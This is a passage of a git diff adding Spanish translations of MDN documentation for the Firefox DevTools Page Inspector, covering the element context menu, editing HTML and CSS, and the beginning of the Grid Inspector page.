+   <td><a id="Copy Image Data-URL">(Copy) Image Data-URL</a></td>
+   <td>Copiar imagen como data:// URL, l elemento selecionado es una imagen</td>
+  </tr>
+  <tr>
+   <td><a id="Copy Attribute">(Copy) Attribute</a></td>
+   <td>
+    <p>Copiar el atributo del elemento.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a id="Show DOM Properties">Show DOM P/en-US/docs/roperties</a></td>
+   <td>Abrir la <a href="/es/docs/Tools/Web_Console#The_split_console">split console</a> e introducir el comando "<code>inspect($0)</code>" para <a href="/en-US/docs/Tools/Web_Console#Inspecting_objects">inspect</a> el elemento actualmente selecionado.</td>
+  </tr>
+  <tr>
+   <td><a id="Use in Console">Use in Console</a></td>
+   <td>
+    <div class="geckoVersionNote">
+    <p>Nuevo en Firefox 43<a href="/en-US/docs/">(Copy) Image Data-URL (Copy) Attribute </a></p>
+    </div>
+    Asigna el nodo actualmente seleccionado a una variable llamada <code>temp0</code> (o <code>temp1</code> si <code>temp0</code> esta ya asignado, y así sucesivamente), entonces abre la <a href="/es/docs/Tools/Web_Console#The_split_console">split console</a>,que le permite interactuar con ese nodo utilizando la línea de comandos de la consola.</td>
+  </tr>
+  <tr>
+   <td><a id="Expand All">Expand All</a></td>
+   <td>
+    <div class="geckoVersionNote">
+    <p>Nuevo en Firefox 44</p>
+    </div>
+    En la vista de árbol, expande el elemento actual y todos los elementos debajo de él. Esto equivale a mantener presionada la tecla <kbd>Alt</kbd> y hacer clic en el triángulo antes del elemento.</td>
+  </tr>
+  <tr>
+   <td><a id="Collapse">Collapse</a></td>
+   <td>
+    <div class="geckoVersionNote">
+    <p>Nuevo en Firefox 44</p>
+    </div>
+    En la vista de árbol, contrae el elemento actual. Esto equivale a hacer clic en la flecha de acceso situada junto al elemento que se ha expandido.</td>
+  </tr>
+  <tr>
+   <td><a id="Paste Inner HTML">(Paste) Inner HTML</a></td>
+   <td>Pegar el contenido del portapapeles en el nodo como su <a href="/es/docs/Web/API/element.innerHTML">HTML interno</a>.</td>
+  </tr>
+  <tr>
+   <td><a id="Paste Outer HTML">(Paste) Outer HTML</a></td>
+   <td>Pegar el contenido del portapapeles en el nodo como su <a href="/es/docs/Web/API/element.outerHTML">HTML externo</a>.</td>
+  </tr>
+  <tr>
+   <td><a id="Paste/Before">(Paste) Before</a></td>
+   <td>Pegar el contenido del portapapeles en el documento inmediatamente antes de este nodo</td>
+  </tr>
+  <tr>
+   <td><a id="Paste/After">(Paste) After</a></td>
+   <td>Pegar el contenido del portapapeles en el documento inmediatamente después de este nodo</td>
+  </tr>
+  <tr>
+   <td><a id="Paste/As First Child">(Paste) As First Child</a></td>
+   <td>Pegar el contenido del portapapeles en el documento como primerdescendiente de este nodo</td>
+  </tr>
+  <tr>
+   <td><a id="Paste/As Last Child">(Paste) As Last Child</a></td>
+   <td>Pegar el contenido del portapapeles en el documento como último descendiente de este nodo</td>
+  </tr>
+  <tr>
+   <td><a id="Scroll Into View">Scroll Into View</a></td>
+   <td>
+    <p>Desplazamiento en la página web para que el nodo seleccionado sea visible.</p>
+
+    <p>Desde Firefox 44, pulsando el atajo de teclado <kbd>S</kbd> también sirve para desplazarse en la página hasta que el nodo seleccionado está a la vista.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a id="Screenshot Node">Screenshot Node</a></td>
+   <td>Hace una captura del nodo seleccionado y la guarda en tu directorio de Descargas. Ver <a href="/es/docs/Tools/Taking_screenshots">Taking screenshots</a>.</td>
+  </tr>
+  <tr>
+   <td><a id="Create New Node">Create New Node</a></td>
+   <td>Crea un nuevo elemento &lt;div&gt; como último descendiente del elemento actualmente seleccionado. Ver <a href="#Inserting_new_nodes">Inserting new nodes</a>.</td>
+  </tr>
+  <tr>
+   <td><a id="Duplicate Node">Duplicate Node</a></td>
+   <td>
+    <div class="geckoVersionNote">
+    <p>Nuevo en Firefox 44</p>
+    </div>
+
+    <p>Crear una copia de este elemento e insertarla inmediatamente antes de este elemento.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a id="Delete Node">Delete Node</a></td>
+   <td>Elimina el elemento del DOM.</td>
+  </tr>
+  <tr>
+   <td><a id="Attribute/Add Attribute">Attribute/Add Attribute</a></td>
+   <td>
+    <div class="geckoVersionNote">
+    <p>Nuevo en Firefox 44</p>
+    </div>
+    Añade un atributo al elemento.</td>
+  </tr>
+  <tr>
+   <td><a id="Attribute/Edit Attribute">Attribute/Edit Attribute</a></td>
+   <td>
+    <div class="geckoVersionNote">
+    <p>Nuevo en Firefox 44</p>
+    </div>
+    (solo cuando se invoca en un atributo) Editar el atributo.</td>
+  </tr>
+  <tr>
+   <td><a id="Attribute/Remove Attribute">Attribute/Remove Attribute</a></td>
+   <td>
+    <div class="geckoVersionNote">
+    <p>Nuevo en Firefox 44</p>
+    </div>
+    (solo cuando se invoca en un atributo) Suprimir el atributo.</td>
+  </tr>
+  <tr>
+   <td><a id="Open Link in New Tab">Open Link in New Tab</a></td>
+   <td>(solo cuando se invoca sobre un enlace como atributo href) Abrir el item enlazado en una nueva pestaña.</td>
+  </tr>
+  <tr>
+   <td><a id="Open File in Debugger">Open File in Debugger</a></td>
+   <td>(solo cuando se invoca sobre un enlace a un archivo de código JS) Abrir el archivo enlazado en el depurador.</td>
+  </tr>
+  <tr>
+   <td><a id="Open File in Style-Editor">Open File in Style-Editor</a></td>
+   <td>(solo cuando se invoca sobre un enlace a un archivo de código CSS) Abrir el archivo CSS enlazado en un editor de estilos</td>
+  </tr>
+  <tr>
+   <td><a id="Copy Link Address">Copy Link Address</a></td>
+   <td>(solo cuando se invoca en una URL) Copiar la URL.</td>
+  </tr>
+  <tr>
+   <td><a id=":hover">:hover</a></td>
+   <td>Selecciona la pseudoclase CSS <a href="/en-US/docs/Web/CSS/:hover" title="/es/docs/Web/CSS/:hover">:hover</a></td>
+  </tr>
+  <tr>
+   <td><a id=":active">:active</a></td>
+   <td>Selecciona la pseudoclase CSS <a href="/en-US/docs/Web/CSS/:active" title="/es/docs/Web/CSS/:active">:active</a></td>
+  </tr>
+  <tr>
+   <td><a id=":focus">:focus</a></td>
+   <td>Selecciona la pseudoclase CSS <a href="/en-US/docs/Web/CSS/:focus" title="/es/docs/Web/CSS/:focus">:focus</a> CSS</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Editar_HTML">Editar HTML</h2>
+
+<p> </p>
+
+<p>Puedes editar el HTML - etiquetas, atributos y contenido - directamente en el panel HTML: haz doble clic en el texto que quieras editar, modifícalo y pulsa <kbd>Enter</kbd> para ver los cambios reflejados inmediatamente.</p>
+
+<p>Para editar el HTML externo de un elemento (<a href="/es/docs/Web/API/Element.outerHTML">HTML externo</a>), activa el menú emergente del elemento y selecciona "Editar como HTML". Verás un cuadro de texto en el panel HTML:</p>
+
+<p><img alt="Edit HTML directly in the Inspector panel in Firefox 57" src="https://mdn.mozillademos.org/files/15505/57-edit-as-html.png" style="display: block; height: 332px; margin-left: auto; margin-right: auto; width: 600px;"></p>
+
+<p>Aquí puedes añadir cualquier HTML: cambiar la etiqueta del elemento, cambiar elementos existentes o añadir otros nuevos. Una vez que hagas clic fuera del cuadro, los cambios se aplican a la página.</p>
+
+<p>A partir de Firefox 52, si estás editando HTML, el menú contextual que verás es el habitual al trabajar con texto editable:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14522/editable-context-menu.png" style="display: block; height: 241px; margin-left: auto; margin-right: auto; width: 200px;"></p>
+
+<h3 id="Copiar_y_pegar">Copiar y pegar</h3>
+
+<p>Puedes usar el <a href="/es/docs/Tools/Page_Inspector/How_to/Examine_and_edit_HTML#Element_popup_menu">menú emergente</a> desplegable para copiar nodos en el árbol HTML y pegarlos en la ubicación deseada.</p>
+
+<h3 id="Arrastrar_y_Soltar_(Drag_and_drop)">Arrastrar y Soltar (Drag and drop)</h3>
+
+<p>Puedes editar HTML moviendo nodos en el árbol HTML. Simplemente haz clic manteniendo presionado sobre cualquier elemento y arrástralo hacia arriba o hacia abajo en el árbol. Cuando sueltes el botón del ratón, el elemento se insertará en la posición correspondiente:</p>
+
+<p>{{EmbedYouTube("oI-a035nfWk")}}</p>
+
+<p>A partir de Firefox 44, puedes cancelar el arrastrar y soltar pulsando la tecla <kbd>Esc</kbd> .</p>
+
+<h3 id="Insertar_nuevos_nodos">Insertar nuevos nodos</h3>
+
+<div class="geckoVersionNote">Nuevo en Firefox 48</div>
+
+<p>A partir de Firefox 48, hay un icono "+" en la parte superior de la vista de marcado:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13082/inspector-insert-node.png" style="display: block; height: 337px; margin-left: auto; margin-right: auto; width: 547px;"></p>
+
+<p>Haz clic en este icono para insertar un <code><a href="/es/docs/Web/HTML/Element/div">&lt;div&gt;</a></code> vacío en el documento como el último hijo del elemento seleccionado actualmente. A continuación, puedes editar el contenido y el estilo del nuevo nodo tal como lo harías con cualquier otro nodo del documento.</p>
+
+<p>{{EmbedYouTube("NG5daffvVZM")}}</p>
+
+<p>Puedes acceder a la misma funcionalidad utilizando el menú desplegable "Crear nuevo nodo".</p>
+
+<p>Ten en cuenta que este botón está desactivado si el tipo de elemento seleccionado es tal que añadir un último hijo no produciría ningún efecto (por ejemplo, si es un elemento <code><a href="/es/docs/Web/HTML/Element/html">&lt;html&gt;</a></code> o <code><a href="/es/docs/Web/HTML/Element/iframe">&lt;iframe&gt;</a></code>). Sin embargo, está habilitado en lugares donde no es válido insertar <code>&lt;div&gt;</code>, como <code><a href="/es/docs/Web/HTML/Element/style">&lt;style&gt;</a></code> o <code><a href="/es/docs/Web/HTML/Element/link">&lt;link&gt;</a></code>. En estos casos, el elemento se añade como texto.</p>
diff --git a/files/es/tools/page_inspector/how_to/examine_and_edit_css/index.html b/files/es/tools/page_inspector/how_to/examine_and_edit_css/index.html
new file mode 100644
index 0000000000..430c2e32dd
--- /dev/null
+++ b/files/es/tools/page_inspector/how_to/examine_and_edit_css/index.html
@@ -0,0 +1,228 @@
+---
+title: Examinar y editar CSS
+slug: Tools/Page_Inspector/How_to/Examine_and_edit_CSS
+tags:
+  - Guía
+  - Herramientas
+  - Inspector
+translation_of: Tools/Page_Inspector/How_to/Examine_and_edit_CSS
+---
+<p>Puedes examinar y editar CSS en el <a href="/es/docs/Tools/Page_Inspector/UI_Tour#CSS_pane">panel CSS</a> del Inspector.</p>
+
+<h2 id="Examinar_reglas_CSS">Examinar reglas CSS</h2>
+
+<p>La <a href="/es/docs/Tools/Page_Inspector/UI_Tour#Rules_view">Vista reglas</a> muestra la lista de todas las reglas que se aplican al elemento seleccionado, ordenadas de más específicas a menos específicas:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/11203/css-overview.png" style="display: block; height: 510px; margin-left: auto; margin-right: auto; width: 588px;"></p>
+
+<p>La vista Reglas muestra la lista de estilos aplicados por el navegador o <a href="/es/docs/Web/CSS/Cascade">estilos de agente de usuario</a> si la opción para hacerlo está seleccionada en la <a href="/es/docs/Tools/Tools_Toolbox#Settings_2">configuración de las herramienta del desarrollador</a>. Ten en cuenta que esta configuración es independiente de la casilla de verificación "Estilos de navegador" de la <a href="/es/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS#Examine_computed_CSS">Vista calculado</a>.</p>
+
+<p>La vista Reglas muestra todos los estilos creados, incluidos los estilos que no se admiten o que no son válidos. Esto puede ayudarte a entender por qué ciertos estilos no se están aplicando:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/12189/css-as-authored.png" style="display: block; height: 357px; margin-left: auto; margin-right: auto; width: 588px;"></p>
+
+<h3 id="Visualización_de_Reglas">Visualización de Reglas</h3>
+
+<p>Muestra cada regla como en una hoja de estilo, con una lista de selectores seguida de una lista de declaraciones con forma <code>property:value;</code>.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/11635/css-rule-anatomy.png" style="display: block; height: 488px; margin-left: auto; margin-right: auto; width: 650px;"></p>
+
+<ul>
+ <li><em>Resaltar elementos coincidentes: </em>: al lado del selector hay un icono de target: haz clic en él para resaltar todos los nodos de la página que coincidan con este selector.</li>
+ <li><em>Declaración anulada:</em>: las declaraciones anuladas por normas posteriores se tachan. Ver <a href="https://developer.mozilla.org/es/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS#Overridden_declarations">declaraciones anuladas</a>.</li>
+ <li><em>Mostrar cascada:</em>: junto a las declaraciones anuladas hay una lupa: haz clic aquí para ver la cascada de reglas que contienen la propiedad anulada. Ver <a href="https://developer.mozilla.org/es/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS#Overridden_declarations">declaraciones anuladas</a>.</li>
+ <li><em>Activar/desactivar:</em>: si pasas el cursor sobre una declaración, aparece una casilla de selección junto a ella: se puede utilizar para activar o desactivar la declaración.</li>
+ <li><em>Nombre de archivo y número de línea:</em>: en el lado derecho hay un enlace a la regla. Ver <a href="https://developer.mozilla.org/es/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS#Link_to_CSS_file">enlace al archivo CSS</a>.</li>
+</ul>
+
+<p>Desde Firefox 52, si el elemento tiene una declaración <code><a href="https://developer.mozilla.org/es/docs/Web/CSS/display">display: grid</a></code>, entonces aparece a su lado un icono grid así: <img alt="" src="https://mdn.mozillademos.org/files/14524/Screen%20Shot%202016-12-16%20at%2010.51.15%20AM.png" style="height: 22px; margin-bottom: -5px; width: 22px;">. Haz clic en ese icono para mostrar la cuadrícula superpuesta en la página, incluidas las líneas de cuadrícula y las pistas. Consulta <a href="/es/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Examinar grid layouts</a> para obtener más información al respecto.</p>
+
+<p>Los estilos del agente de usuario se muestran con un fondo diferente, e indican el enlace al nombre de archivo y número de línea contiene el prefijo <code>(agente de usuario)</code>:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/11207/css-user-agent.png" style="display: block; height: 118px; margin-left: auto; margin-right: auto; width: 585px;"></p>
+
+<h3 id="Regla_element">Regla element {}</h3>
+
+<p>La regla <code>element {}</code> que hay al principio de la lista de reglas no es en realidad una regla CSS. Representa las propiedades CSS asignadas al elemento a través de su atributo {{htmlattrxref("style")}}.</p>
+
+<p>A partir de Firefox 52, también se muestra el icono de target:: <img alt="" src="https://mdn.mozillademos.org/files/14520/target-icon.png" style="height: 22px; margin-bottom: -5px; width: 22px;">, que ofrece una forma cómoda de resaltar el elemento seleccionado en la página.</p>
+
+<p>{{EmbedYouTube("bQzOAFvEDco")}}</p>
+
+<h3 id="Reglas_de_filtrado">Reglas de filtrado</h3>
+
+<p>Hay un campo en la parte superior de la vista Reglas, llamado "Filtrar Estilos":</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/11195/css-filter-annotated.png" style="display: block; height: 264px; margin-left: auto; margin-right: auto; width: 606px;"> A medida que escribes:</p>
+
+<ul>
+ <li>Cualquier regla que no contenga la cadena mecanografiada queda oculta.</li>
+ <li>Se resaltan las declaraciones que contengan la cadena mecanografiada.</li>
+</ul>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/11197/css-filtered.png" style="display: block; height: 382px; margin-left: auto; margin-right: auto; width: 588px;">Para eliminar el filtro haz clic en la "X" al final del cuadro de búsqueda.</p>
+
+<div class="note">
+<p>En la vista Reglas, presionar <kbd>Ctrl</kbd> / <kbd>Cmd</kbd> + <kbd>F</kbd> focaliza el campo de búsqueda. Una vez que has escrito un filtro, puedes presionar <kbd>Esc</kbd> para quitarlo de nuevo.</p>
+</div>
+
+<p>{{EmbedYouTube("9w8vDIWqnAE")}}</p>
+
+<h4 id="Búsqueda_estricta">Búsqueda estricta</h4>
+
+<p>De forma predeterminada, el cuadro de búsqueda resalta todas las declaraciones que contienen cualquier parte de la cadena. Por ejemplo, la búsqueda "color" resaltará declaraciones que contengan <code><a href="/es/docs/Web/CSS/border-bottom-color">border-bottom-color</a></code> y <code><a href="/es/docs/Web/CSS/background-color">background-color</a></code> así como <code><a href="/es/docs/Web/CSS/color">color</a></code>.:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/11625/css-search-not-strict.png" style="display: block; margin-left: auto; margin-right: auto; width: 588px;"></p>
+
+<p>Si la consulta de búsqueda se encierra entre comillas de este modo: `color` se limita la búsqueda a las coincidencias exactas:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/11627/css-search-strict.png" style="display: block; margin-left: auto; margin-right: auto; width: 588px;"></p>
+
+<h3 id="Expandir_las_propiedades_shorthand">Expandir las propiedades shorthand</h3>
+
+<p>Las <a href="/es/docs/Web/CSS/Shorthand_properties">propiedades Shorthand</a> (abreviadas) se pueden expandir para mostrar las características correspondientes en forma larga haciendo click en la flecha junto a ellas.</p>
+
+<h3 id="Mostrar_pseudo-elementos">Mostrar pseudo-elementos</h3>
+
+<p>La vista Regla muestra los siguientes <a href="/es/docs/Web/CSS/Pseudo-elements">pseudo-elementos</a>, en caso de que se apliquen al elemento seleccionado</p>
+
+<p><code>::after<br>
+ ::backdrop</code><br>
+ <code>::before<br>
+ ::first-letter<br>
+ ::first-line<br>
+ ::selection<br>
+ :-moz-color-swatch<br>
+ :-moz-number-spin-box<br>
+ :-moz-number-spin-down<br>
+ :-moz-number-spin-up<br>
+ :-moz-number-text<br>
+ :-moz-number-wrapper<br>
+ :-moz-placeholder<br>
+ :-moz-progress-bar<br>
+ :-moz-range-progress<br>
+ :-moz-range-thumb<br>
+ :-moz-range-track<br>
+ :-moz-selection</code></p>
+
+<p>Si el elemento seleccionado tiene pseudo-elementos aplicados, se muestran delante del elemento seleccionado pero ocultos por un triángulo:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/11225/css-pseudo-collapsed.png" style="display: block; height: 304px; margin-left: auto; margin-right: auto; width: 626px;"></p>
+
+<p>Haciendo clic en el triángulo se muestran:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/11227/css-pseudo-expanded.png" style="display: block; height: 371px; margin-left: auto; margin-right: auto; width: 587px;"></p>
+
+<h3 id="Setting_hover_active_focus">Setting :hover, :active, :focus</h3>
+
+<p>A la derecha del campo Filtrar hay un botón:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/11199/css-lock-hover-1.png" style="display: block; height: 510px; margin-left: auto; margin-right: auto; width: 597px;">Haz clic en el botón y verás tres casillas de verificación que puedes utilizar para establecer las pseudo-clases {{cssxref(":hover")}}, {{cssxref(":active")}} y {{cssxref(":focus")}} para el elemento seleccionado:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/11201/css-lock-hover-2.png" style="display: block; height: 732px; margin-left: auto; margin-right: auto; width: 588px;">También puedes acceder a esta función desde el <a href="/es/docs/Tools/Page_Inspector/How_to/Examine_and_edit_HTML#Element_popup_menu">menú contextual emergente</a> de la vista HTML.</p>
+
+<p>Si fijas una de estas pseudoclases para un nodo, aparece un punto naranja en la vista HTML junto a todos los nodos a los que se ha aplicado la pseudoclase:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/11637/css-pseudo-class.png" style="display: block; margin-left: auto; margin-right: auto; width: 800px;"></p>
+
+<h3 id="Enlazar_al_archivo_CSS">Enlazar al archivo CSS</h3>
+
+<p>En la parte superior derecha de cada regla, el nombre del archivo fuente y el número de línea se muestran como enlace: al hacer clic en él, se abre el archivo en el <a href="/es/docs/Tools/Style_Editor" title="/en-US/docs/Tools/Style_Editor">Editor de estilos</a>.</p>
+
+<p>Puedes copiar la ubicación del archivo fuente: haz clic con el botón derecho del ratón en el enlace y selecciona "Copiar dirección".</p>
+
+<p>El Inspector entiende los mapas de código fuente de CSS. Esto significa que si estás usando un preprocesador CSS que tiene soporte para mapas de código fuente, y has habilitado Activar mapas de código fuente" en Ajustes avanzados de la <a href="/es/docs/Tools_Toolbox#Style_Editor">Configuración del editor de estilos</a>, entonces el enlace te llevará a la fuente original, no al CSS generado. Lee más sobre el soporte de mapas de código fuente CSS en la <a href="/es/docs/Tools/Style_Editor#Source_map_support">Documentación del editor de estilos</a>.</p>
+
+<h3 id="Declaraciones_anuladas">Declaraciones anuladas</h3>
+
+<p>Si una declaración CSS es anulada por alguna otra regla CSS con mayor peso, entonces la declaración se muestra con una línea a través de ella.</p>
+
+<p>Las declaraciones anuladas tienen una lupa al lado. Haz clic en la lupa para filtrar la vista de reglas: mostrará sólo las reglas que se aplican al nodo actual intentando establecer la misma propiedad: es decir, la cascada completa para la propiedad dada.</p>
+
+<p>Esto facilita ver qué regla prevalece sobre la declaración</p>
+
+<p>{{EmbedYouTube("i9mDVjJAGwQ")}}</p>
+
+<h2 id="Examinar_CSS_calculado">Examinar CSS calculado</h2>
+
+<p>Para ver todas las reglas CSS que se calculan para el elemento seleccionado cambia a la <a href="/es/docs/Tools/Page_Inspector/UI_Tour#Computed_view">Vista calculado</a>.Esta vista organiza el estilo del elemento por propiedades: se enumeran por orden alfabético todas las propiedades CSS que se han aplicado a este elemento para mostrar el resultado o valor calculado de cada una de las propiedadades CSS para el elemento seleccionado :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/11209/css-computed.png" style="display: block; height: 566px; margin-left: auto; margin-right: auto; width: 587px;"></p>
+
+<p>Puedes usar la tecla <kbd>Tab</kbd> para seleccionarlos moviéndote través de ellos. Desde Firefox 49 en adelante, puedes encontrar más información sobre estas propiedades: si pulsas <kbd>F1</kbd> en una propiedad seleccionada se abrirá su página de referencia MDN</p>
+
+<p>Haciendo clic en la flecha situada junto al nombre de la propiedad (o pulsando <kbd>Enter</kbd> o <kbd>Space</kbd> mientras está seleccionado) se muestra la regla que establece este valor, un enlace al nombre del archivo fuente y el número de línea:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/11211/css-computed-expanded.png" style="display: block; height: 484px; margin-left: auto; margin-right: auto; width: 587px;"></p>
+
+<p>De forma predeterminada, esta vista sólo muestra los valores que la página ha definido explícitamente: para ver todos los valores, haz clic en la casilla "Estilos de navegador". Puedes pulsar <kbd>Tab</kbd> para moverte a través de los nombres de archivo/números de línea; y pulsando <kbd>Enter</kbd>/<kbd>Return</kbd> Enter/Return se abrirá el archivo en ese punto en el <a href="/es/docs/Tools/Style_Editor">Editor de estilos</a>.</p>
+
+<p>Al escribir en el cuadro de búsqueda se realiza un filtrado activo de la lista, por lo que, por ejemplo, si sólo quieres ver opciones relacionadas con las fuentes, puedes escribir "font" en el cuadro de búsqueda, y sólo aparecerán las propiedades que contengan "font" en el nombre. También puedes buscar por el valor de las propiedades: para encontrar la regla responsable de seleccionar la fuente "Lucida Grande" , escribe "Lucida Grande" en el cuadro de búsqueda.</p>
+
+<div class="note">
+<p>En la vista calculado, puedes presionar <kbd>Ctrl</kbd> / <kbd>Cmd</kbd> + <kbd>F</kbd> para enfocar el campo de búsqueda. Una vez que hayas escrito un filtro, presiona <kbd>Esc</kbd> para quitarlo.</p>
+</div>
+
+<h2 id="Editar_reglas">Editar reglas</h2>
+
+<p>Si haces clic en una declaración o en un selector en la vista Reglas, puedes editarla y ver los resultados inmediatamente. También puedes pulsar <kbd>Tab</kbd> para desplazarte por las diferentes propiedades y valores existentes, y empezar a editarlos pulsando <kbd>Enter</kbd> o <kbd>Space</kbd>. Para añadir una nueva declaración a una regla, haz clic en la última línea de la regla (la línea ocupada por la llave de cierre).</p>
+
+<p>A medida que comiences a escribir un nombre de propiedad, verás una lista de sugerencias autocompletadas. Presiona <kbd>Tab</kbd> para aceptar la sugerencia actual o <kbd>Up</kbd> y <kbd>Down</kbd> para desplazarte por la lista. La opción predeterminada es la propiedad más común que comienza con las letras que has escrito. Por ejemplo, aquí el usuario ha escrito "c" y la opción por defecto es "color":</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13080/css-autocomplete.png" style="display: block; height: 401px; margin-left: auto; margin-right: auto; width: 587px;"></p>
+
+<p>Si al editar una propiedad introduces un valor no válido o escribes un nombre de propiedad desconocido, aparece un icono de alerta amarillo junto a la declaración.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Desde Firefox 60 en adelante, los <a href="https://developer.mozilla.org/es/docs/Web/CSS/Using_CSS_variables"> nombres de variables CSS</a> también se completarán automáticamente (ver {{bug(1422635)}}). Si escribes <code>var(-</code> var(- seguido de un guión (<code>-</code>) como valor de una propiedad, cualquier variable que hayas declarado en tu CSS aparecerá en la lista de autocompletado.<br>
+ <br>
+ <img alt="" src="https://mdn.mozillademos.org/files/15813/css-variable-autocomplete.png" style="display: block; margin: 0 auto;"></p>
+</div>
+
+<p>Cualquier cambio que hagas es temporal: recargar la página restaurará el estilo original.</p>
+
+<p>Puedes utilizar las teclas <kbd>Up</kbd> , <kbd>Down</kbd> y <kbd>Page up</kbd> , <kbd>Page down</kbd> (junto con otras) para aumentar/disminuir las reglas numéricas durante la edición:</p>
+
+<ul>
+ <li>La flecha <kbd>Up</kbd> incrementa los valores por 1 — "1px" pasará a "2px", por ejemplo.</li>
+ <li><kbd>Shift</kbd> + <kbd>Up</kbd>/<kbd>Down</kbd> incrementa los valores por 10.</li>
+ <li><kbd>Alt</kbd> + <kbd>Up</kbd>/<kbd>Down</kbd> incrementa los valores por 0.1. Ten en cuenta que en Firefox 60 esta combinación cambia a <kbd>Ctrl</kbd> + <kbd>Up</kbd>/<kbd>Down</kbd> en Linux y Windows para evitar conflictos con los atajos predeterminados del Sistema Operativo (ver {{bug("1413314")}}). En Mac se mantiene— <kbd>Ctrl</kbd> + <kbd>Up</kbd> ya que en macOS es el atajo predeterminado para mostrar el Control de Misión.</li>
+ <li><kbd>Shift</kbd> + <kbd>Page up</kbd>/<kbd>Page down</kbd> incrementa los valores por 100.</li>
+</ul>
+
+<p>Los cambios que realices en la vista Reglas se reflejan en el <a href="/es/docs/Tools/Style_Editor">Editor de estilos</a>, y viceversa</p>
+
+<p>A partir de Firefox 52, si estás editando CSS, el menú contextual que verás es el normal para trabajar con texto editable:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14522/editable-context-menu.png" style="display: block; height: 241px; margin-left: auto; margin-right: auto; width: 200px;"></p>
+
+<h2 id="Añadir_reglas">Añadir reglas</h2>
+
+<p>Puedes añadir nuevas reglas en la vista reglas. Simplemente haz clic derecho para que se muestre el menú contextual y selecciona "Añadir regla nueva": esto añadirá una regla cuyo selector coincide con el nodo actualmente seleccionado.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/11193/css-add-rule-menu.png" style="display: block; height: 734px; margin-left: auto; margin-right: auto; width: 588px;"></p>
+
+<p>También hay un botón que te posibilita hacer lo mismo:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/11191/css-add-rule-button.png" style="display: block; height: 256px; margin-left: auto; margin-right: auto; width: 588px;"></p>
+
+<h2 id="Copiar_reglas">Copiar reglas</h2>
+
+<p>Para copiar reglas o partes de ellas usa uno de los items del siguiente menú contextual en la vista reglas</p>
+
+<ul>
+ <li>Copiar regla</li>
+ <li>Copiar selector</li>
+ <li>Copiar declaración de propiedad</li>
+ <li>Copiar nombre de la propiedad</li>
+ <li>Copiar valor de la propiedad</li>
+</ul>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/11217/css-context-menu.png" style="display: block; height: 218px; margin-left: auto; margin-right: auto; width: 281px;"></p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Lista completa de los <a href="/es/docs/Tools/Page_Inspector/Keyboard_shortcuts">Atajos de teclado</a>.</li>
+ <li>El Inspector también tiene herramientas especializadas para trabajar con algunas características CSS como colores, fuentes y animaciones. Para leer más <a href="/es/docs/Tools/Page_Inspector">Guías how to</a>.</li>
+</ul>
diff --git a/files/es/tools/page_inspector/how_to/examine_grid_layouts/index.html b/files/es/tools/page_inspector/how_to/examine_grid_layouts/index.html
new file mode 100644
index 0000000000..c312f24c21
--- /dev/null
+++ b/files/es/tools/page_inspector/how_to/examine_grid_layouts/index.html
@@ -0,0 +1,131 @@
+---
+title: 'Inspector de CSS Grid: examina la rejilla del layout'
+slug: Tools/Page_Inspector/How_to/Examine_grid_layouts
+translation_of: Tools/Page_Inspector/How_to/Examine_grid_layouts
+---
+<div>{{ToolsSidebar}}</div>
+
+<p class="summary">El <strong>Grid Inspector</strong> te permite examinar los <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layouts</a> usando las Firefox DevTools, descubrir las rejillas presentes en una página, examinarlas y modificarlas, depurando los problemas de layout, y más.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Los ejemplos mostrados en los screenshots aparecen el los articulos de Jen Simmons  <a href="http://labs.jensimmons.com/2016/examples/futurismo-1.html">Futurismo</a> y <a href="http://labs.jensimmons.com/2017/01-003.html">Variations on a grid</a>, y un <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas#Naming_a_grid_area">live llamado grid area example</a> de Rachel Andrew.</p>
+</div>
+
+<h2 id="Descubriendo_CSS_grids">Descubriendo CSS grids</h2>
+
+<p>Cuando un elemento HTML de tu página tiene <code><a href="/en-US/docs/Web/CSS/display">display: grid</a></code> aplicado, un numero de nuevas opciones estan disponibles en las DevTools para proveer un acceso sencillo a las caracteristicas de la rejilla.</p>
+
+<h3 id="En_el_panel_HTML">En el panel HTML</h3>
+
+<p>En el <a href="/en-US/docs/Tools/Page_Inspector/UI_Tour#HTML_pane">panel HTML</a>, los elementos pertenecientes a la rejilla tienen un marker "grid" junto a ellos.</p>
+
+<p><img alt="The HTML pane of the Firefox devtools, showing an element annotated with a grid marker, meaning that it has display: grid set on it" src="https://mdn.mozillademos.org/files/15977/html-pane.png" style="border-style: solid; border-width: 1px; display: block; height: 262px; margin: 0px auto; width: 400px;"></p>
+
+<h3 id="En_el_panel_CSS">En el panel CSS</h3>
+
